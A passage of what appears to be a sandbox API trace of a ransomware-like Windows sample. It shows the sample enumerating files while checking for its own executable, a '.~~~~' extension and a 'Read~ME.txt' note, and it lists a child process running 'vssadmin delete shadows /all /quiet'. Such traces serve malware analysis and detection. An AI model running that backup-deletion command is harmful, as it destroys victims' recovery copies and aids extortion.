	[0086.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.390] GetCurrentThreadId () returned 0x618
	[0086.390] RtlWakeConditionVariable () returned 0x365f48
	[0086.390] lstrcmpiW (lpString1="MP00132_.WMF", lpString2="Windows") returned -1
	[0086.390] lstrcmpW (lpString1="MP00132_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.390] StrStrW (lpFirst="MP00132_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.390] lstrcmpW (lpString1="MP00132_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.390] GetCurrentThreadId () returned 0x618
	[0086.390] RtlWakeConditionVariable () returned 0x365f48
	[0086.390] lstrcmpiW (lpString1="MP00646_.WMF", lpString2="Windows") returned -1
	[0086.390] lstrcmpW (lpString1="MP00646_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.390] StrStrW (lpFirst="MP00646_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.390] lstrcmpW (lpString1="MP00646_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.390] GetCurrentThreadId () returned 0x618
	[0086.390] RtlWakeConditionVariable () returned 0x365f48
	[0086.390] lstrcmpiW (lpString1="MUSIC_01.MID", lpString2="Windows") returned -1
	[0086.390] lstrcmpW (lpString1="MUSIC_01.MID", lpString2="oiikyy.exe") returned -1
	[0086.391] StrStrW (lpFirst="MUSIC_01.MID", lpSrch=".~~~~") returned 0x0
	[0086.391] lstrcmpW (lpString1="MUSIC_01.MID", lpString2="Read~ME.txt") returned -1
	[0086.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.391] GetCurrentThreadId () returned 0x618
	[0086.391] RtlWakeConditionVariable () returned 0x365f48
	[0086.391] lstrcmpiW (lpString1="NA00042_.WMF", lpString2="Windows") returned -1
	[0086.391] lstrcmpW (lpString1="NA00042_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.391] StrStrW (lpFirst="NA00042_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.391] lstrcmpW (lpString1="NA00042_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.391] GetCurrentThreadId () returned 0x618
	[0086.391] RtlWakeConditionVariable () returned 0x365f48
	[0086.391] lstrcmpiW (lpString1="NA00057_.WMF", lpString2="Windows") returned -1
	[0086.391] lstrcmpW (lpString1="NA00057_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.391] StrStrW (lpFirst="NA00057_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.391] lstrcmpW (lpString1="NA00057_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.391] GetCurrentThreadId () returned 0x618
	[0086.391] RtlWakeConditionVariable () returned 0x365f48
	[0086.391] lstrcmpiW (lpString1="NA00058_.WMF", lpString2="Windows") returned -1
	[0086.391] lstrcmpW (lpString1="NA00058_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.391] StrStrW (lpFirst="NA00058_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.392] lstrcmpW (lpString1="NA00058_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.392] GetCurrentThreadId () returned 0x618
	[0086.392] RtlWakeConditionVariable () returned 0x365f48
	[0086.392] lstrcmpiW (lpString1="NA00068_.WMF", lpString2="Windows") returned -1
	[0086.392] lstrcmpW (lpString1="NA00068_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.392] StrStrW (lpFirst="NA00068_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.392] lstrcmpW (lpString1="NA00068_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.392] GetCurrentThreadId () returned 0x618
	[0086.392] RtlWakeConditionVariable () returned 0x365f48
	[0086.392] lstrcmpiW (lpString1="NA00238_.WMF", lpString2="Windows") returned -1
	[0086.392] lstrcmpW (lpString1="NA00238_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.392] StrStrW (lpFirst="NA00238_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.392] lstrcmpW (lpString1="NA00238_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.392] GetCurrentThreadId () returned 0x618
	[0086.392] RtlWakeConditionVariable () returned 0x365f48
	[0086.392] lstrcmpiW (lpString1="NA00330_.WMF", lpString2="Windows") returned -1
	[0086.392] lstrcmpW (lpString1="NA00330_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.392] StrStrW (lpFirst="NA00330_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.392] lstrcmpW (lpString1="NA00330_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.393] GetCurrentThreadId () returned 0x618
	[0086.393] RtlWakeConditionVariable () returned 0x365f48
	[0086.393] lstrcmpiW (lpString1="NA00388_.WMF", lpString2="Windows") returned -1
	[0086.393] lstrcmpW (lpString1="NA00388_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.393] StrStrW (lpFirst="NA00388_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.393] lstrcmpW (lpString1="NA00388_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.393] GetCurrentThreadId () returned 0x618
	[0086.393] RtlWakeConditionVariable () returned 0x365f48
	[0086.393] lstrcmpiW (lpString1="NA00389_.WMF", lpString2="Windows") returned -1
	[0086.393] lstrcmpW (lpString1="NA00389_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.393] StrStrW (lpFirst="NA00389_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.393] lstrcmpW (lpString1="NA00389_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.393] GetCurrentThreadId () returned 0x618
	[0086.393] RtlWakeConditionVariable () returned 0x365f48
	[0086.393] lstrcmpiW (lpString1="NA00390_.WMF", lpString2="Windows") returned -1
	[0086.393] lstrcmpW (lpString1="NA00390_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.393] StrStrW (lpFirst="NA00390_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.393] lstrcmpW (lpString1="NA00390_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.393] GetCurrentThreadId () returned 0x618
	[0086.393] RtlWakeConditionVariable () returned 0x365f48
	[0086.394] lstrcmpiW (lpString1="NA00391_.WMF", lpString2="Windows") returned -1
	[0086.394] lstrcmpW (lpString1="NA00391_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.394] StrStrW (lpFirst="NA00391_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.394] lstrcmpW (lpString1="NA00391_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.394] GetCurrentThreadId () returned 0x618
	[0086.394] RtlWakeConditionVariable () returned 0x365f48
	[0086.394] lstrcmpiW (lpString1="NA00394_.WMF", lpString2="Windows") returned -1
	[0086.394] lstrcmpW (lpString1="NA00394_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.394] StrStrW (lpFirst="NA00394_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.394] lstrcmpW (lpString1="NA00394_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.394] GetCurrentThreadId () returned 0x618
	[0086.394] RtlWakeConditionVariable () returned 0x365f48
	[0086.394] lstrcmpiW (lpString1="NA00395_.WMF", lpString2="Windows") returned -1
	[0086.394] lstrcmpW (lpString1="NA00395_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.394] StrStrW (lpFirst="NA00395_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.394] lstrcmpW (lpString1="NA00395_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.394] GetCurrentThreadId () returned 0x618
	[0086.394] RtlWakeConditionVariable () returned 0x365f48
	[0086.394] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="Windows") returned -1
	[0086.394] lstrcmpW (lpString1="NA00396_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.395] StrStrW (lpFirst="NA00396_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.395] lstrcmpW (lpString1="NA00396_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.395] GetCurrentThreadId () returned 0x618
	[0086.395] RtlWakeConditionVariable () returned 0x365f48
	[0086.395] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="Windows") returned -1
	[0086.395] lstrcmpW (lpString1="NA00417_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.395] StrStrW (lpFirst="NA00417_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.395] lstrcmpW (lpString1="NA00417_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.395] GetCurrentThreadId () returned 0x618
	[0086.395] RtlWakeConditionVariable () returned 0x365f48
	[0086.395] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="Windows") returned -1
	[0086.395] lstrcmpW (lpString1="NA00433_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.395] StrStrW (lpFirst="NA00433_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.395] lstrcmpW (lpString1="NA00433_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.395] GetCurrentThreadId () returned 0x618
	[0086.395] RtlWakeConditionVariable () returned 0x365f48
	[0086.395] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="Windows") returned -1
	[0086.395] lstrcmpW (lpString1="NA00438_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.395] StrStrW (lpFirst="NA00438_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.395] lstrcmpW (lpString1="NA00438_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.396] GetCurrentThreadId () returned 0x618
	[0086.396] RtlWakeConditionVariable () returned 0x365f48
	[0086.396] lstrcmpiW (lpString1="NA00452_.WMF", lpString2="Windows") returned -1
	[0086.396] lstrcmpW (lpString1="NA00452_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.396] StrStrW (lpFirst="NA00452_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.396] lstrcmpW (lpString1="NA00452_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.396] GetCurrentThreadId () returned 0x618
	[0086.396] RtlWakeConditionVariable () returned 0x365f48
	[0086.396] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="Windows") returned -1
	[0086.396] lstrcmpW (lpString1="NA00454_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.396] StrStrW (lpFirst="NA00454_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.396] lstrcmpW (lpString1="NA00454_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.396] GetCurrentThreadId () returned 0x618
	[0086.396] RtlWakeConditionVariable () returned 0x365f48
	[0086.396] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="Windows") returned -1
	[0086.396] lstrcmpW (lpString1="NA00458_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.396] StrStrW (lpFirst="NA00458_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.396] lstrcmpW (lpString1="NA00458_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.396] GetCurrentThreadId () returned 0x618
	[0086.397] RtlWakeConditionVariable () returned 0x365f48
	[0086.397] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="Windows") returned -1
	[0086.397] lstrcmpW (lpString1="NA00462_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.397] StrStrW (lpFirst="NA00462_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.397] lstrcmpW (lpString1="NA00462_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.397] GetCurrentThreadId () returned 0x618
	[0086.397] RtlWakeConditionVariable () returned 0x365f48
	[0086.397] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="Windows") returned -1
	[0086.397] lstrcmpW (lpString1="NA00487_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.397] StrStrW (lpFirst="NA00487_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.397] lstrcmpW (lpString1="NA00487_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.397] GetCurrentThreadId () returned 0x618
	[0086.397] RtlWakeConditionVariable () returned 0x365f48
	[0086.397] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="Windows") returned -1
	[0086.397] lstrcmpW (lpString1="NA00494_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.397] StrStrW (lpFirst="NA00494_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.397] lstrcmpW (lpString1="NA00494_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.397] GetCurrentThreadId () returned 0x618
	[0086.398] RtlWakeConditionVariable () returned 0x365f48
	[0086.398] lstrcmpiW (lpString1="NA00512_.WMF", lpString2="Windows") returned -1
	[0086.398] lstrcmpW (lpString1="NA00512_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.398] StrStrW (lpFirst="NA00512_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.398] lstrcmpW (lpString1="NA00512_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.398] GetCurrentThreadId () returned 0x618
	[0086.398] RtlWakeConditionVariable () returned 0x365f48
	[0086.398] lstrcmpiW (lpString1="NA00523_.WMF", lpString2="Windows") returned -1
	[0086.398] lstrcmpW (lpString1="NA00523_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.398] StrStrW (lpFirst="NA00523_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.398] lstrcmpW (lpString1="NA00523_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.398] GetCurrentThreadId () returned 0x618
	[0086.398] RtlWakeConditionVariable () returned 0x365f48
	[0086.398] lstrcmpiW (lpString1="NA00525_.WMF", lpString2="Windows") returned -1
	[0086.398] lstrcmpW (lpString1="NA00525_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.398] StrStrW (lpFirst="NA00525_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.398] lstrcmpW (lpString1="NA00525_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.398] GetCurrentThreadId () returned 0x618
	[0086.398] RtlWakeConditionVariable () returned 0x365f48
	[0086.417] lstrcmpiW (lpString1="NA00530_.WMF", lpString2="Windows") returned -1
	[0086.417] lstrcmpW (lpString1="NA00530_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.417] StrStrW (lpFirst="NA00530_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.417] lstrcmpW (lpString1="NA00530_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.417] GetCurrentThreadId () returned 0x618
	[0086.417] RtlWakeConditionVariable () returned 0x365f48
	[0086.417] lstrcmpiW (lpString1="NA00532_.WMF", lpString2="Windows") returned -1
	[0086.417] lstrcmpW (lpString1="NA00532_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.417] StrStrW (lpFirst="NA00532_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.417] lstrcmpW (lpString1="NA00532_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.417] GetCurrentThreadId () returned 0x618
	[0086.418] RtlWakeConditionVariable () returned 0x365f48
	[0086.418] lstrcmpiW (lpString1="NA00538_.WMF", lpString2="Windows") returned -1
	[0086.418] lstrcmpW (lpString1="NA00538_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.418] StrStrW (lpFirst="NA00538_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.418] lstrcmpW (lpString1="NA00538_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.418] GetCurrentThreadId () returned 0x618
	[0086.418] RtlWakeConditionVariable () returned 0x365f48
	[0086.418] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="Windows") returned -1
	[0086.418] lstrcmpW (lpString1="NA00641_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.418] StrStrW (lpFirst="NA00641_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.418] lstrcmpW (lpString1="NA00641_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.418] GetCurrentThreadId () returned 0x618
	[0086.418] RtlWakeConditionVariable () returned 0x365f48
	[0086.418] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="Windows") returned -1
	[0086.418] lstrcmpW (lpString1="NA00784_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.418] StrStrW (lpFirst="NA00784_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.418] lstrcmpW (lpString1="NA00784_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.418] GetCurrentThreadId () returned 0x618
	[0086.418] RtlWakeConditionVariable () returned 0x365f48
	[0086.419] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="Windows") returned -1
	[0086.419] lstrcmpW (lpString1="NA00798_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.419] StrStrW (lpFirst="NA00798_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.419] lstrcmpW (lpString1="NA00798_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.419] GetCurrentThreadId () returned 0x618
	[0086.419] RtlWakeConditionVariable () returned 0x365f48
	[0086.419] lstrcmpiW (lpString1="NA00806_.WMF", lpString2="Windows") returned -1
	[0086.419] lstrcmpW (lpString1="NA00806_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.419] StrStrW (lpFirst="NA00806_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.419] lstrcmpW (lpString1="NA00806_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.419] GetCurrentThreadId () returned 0x618
	[0086.419] RtlWakeConditionVariable () returned 0x365f48
	[0086.419] lstrcmpiW (lpString1="NA00807_.WMF", lpString2="Windows") returned -1
	[0086.419] lstrcmpW (lpString1="NA00807_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.419] StrStrW (lpFirst="NA00807_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.419] lstrcmpW (lpString1="NA00807_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.419] GetCurrentThreadId () returned 0x618
	[0086.419] RtlWakeConditionVariable () returned 0x365f48
	[0086.419] lstrcmpiW (lpString1="NA00808_.WMF", lpString2="Windows") returned -1
	[0086.419] lstrcmpW (lpString1="NA00808_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.420] StrStrW (lpFirst="NA00808_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.420] lstrcmpW (lpString1="NA00808_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.420] GetCurrentThreadId () returned 0x618
	[0086.420] RtlWakeConditionVariable () returned 0x365f48
	[0086.420] lstrcmpiW (lpString1="NA00809_.WMF", lpString2="Windows") returned -1
	[0086.420] lstrcmpW (lpString1="NA00809_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.420] StrStrW (lpFirst="NA00809_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.420] lstrcmpW (lpString1="NA00809_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.420] GetCurrentThreadId () returned 0x618
	[0086.420] RtlWakeConditionVariable () returned 0x365f48
	[0086.420] lstrcmpiW (lpString1="NA00810_.WMF", lpString2="Windows") returned -1
	[0086.420] lstrcmpW (lpString1="NA00810_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.420] StrStrW (lpFirst="NA00810_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.420] lstrcmpW (lpString1="NA00810_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.420] GetCurrentThreadId () returned 0x618
	[0086.420] RtlWakeConditionVariable () returned 0x365f48
	[0086.420] lstrcmpiW (lpString1="NA00932_.WMF", lpString2="Windows") returned -1
	[0086.420] lstrcmpW (lpString1="NA00932_.WMF", lpString2="oiikyy.exe") returned -1
	[0086.420] StrStrW (lpFirst="NA00932_.WMF", lpSrch=".~~~~") returned 0x0
	[0086.420] lstrcmpW (lpString1="NA00932_.WMF", lpString2="Read~ME.txt") returned -1
	[0086.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0094.719] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0094.719] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1

Thread:
	id = 36
	os_tid = 0x83c


Thread:
	id = 37
	os_tid = 0x84c


Process:
	id = "2"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x42daf000"
	os_pid = "0xb04"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xae4"
	cmd_line = "vssadmin delete shadows /all /quiet"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 4
	os_tid = 0xad4


Thread:
	id = 10
	os_tid = 0x5c4


Thread:
	id = 11
	os_tid = 0x564


Thread:
	id = 12
	os_tid = 0x560


Thread:
	id = 13
	os_tid = 0x23c


Process:
	id = "3"
	image_name = "vssvc.exe"
	filename = "c:\\windows\\system32\\vssvc.exe"
	page_root = "0x3dd26000"
	os_pid = "0x2a8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b7e890"
	monitor_reason = "rpc_server"
	parent_id = "2"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\system32\\vssvc.exe"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005b459" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 14
	os_tid = 0x7c0


Thread:
	id = 15
	os_tid = 0x36c


Thread:
	id = 16
	os_tid = 0x138

	[0075.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf3db20 | out: lpSystemTimeAsFileTime=0xf3db20*(dwLowDateTime=0x97085610, dwHighDateTime=0x1d60e1e)) 
	[0075.643] GetCurrentProcessId () returned 0x2a8
	[0075.643] GetCurrentThreadId () returned 0x138
	[0075.643] GetTickCount () returned 0x1149b46
	[0075.643] QueryPerformanceCounter (in: lpPerformanceCount=0xf3db28 | out: lpPerformanceCount=0xf3db28*=19563301406) returned 1
	[0075.643] malloc (_Size=0x100) returned 0x448e80

Thread:
	id = 17
	os_tid = 0x7c8


Thread:
	id = 18
	os_tid = 0x5d8


Thread:
	id = 19
	os_tid = 0x364


Thread:
	id = 20
	os_tid = 0x418


Thread:
	id = 35
	os_tid = 0x35c


Process:
	id = "4"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x972d000"
	os_pid = "0xc8"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "3"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Local Service"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dde1" [0xc000000f], "LOCAL" [0x7]


Thread:
	id = 21
	os_tid = 0x9b4


Thread:
	id = 22
	os_tid = 0x768


Thread:
	id = 23
	os_tid = 0x764


Thread:
	id = 24
	os_tid = 0x758


Thread:
	id = 25
	os_tid = 0x724


Thread:
	id = 26
	os_tid = 0x718


Thread:
	id = 27
	os_tid = 0x714


Thread:
	id = 28
	os_tid = 0x630


Thread:
	id = 29
	os_tid = 0x154


Thread:
	id = 30
	os_tid = 0x150


Thread:
	id = 31
	os_tid = 0x120


Thread:
	id = 32
	os_tid = 0x124


Thread:
	id = 33
	os_tid = 0x118


Thread:
	id = 34
	os_tid = 0xf0


Thread:
	id = 38
	os_tid = 0x86c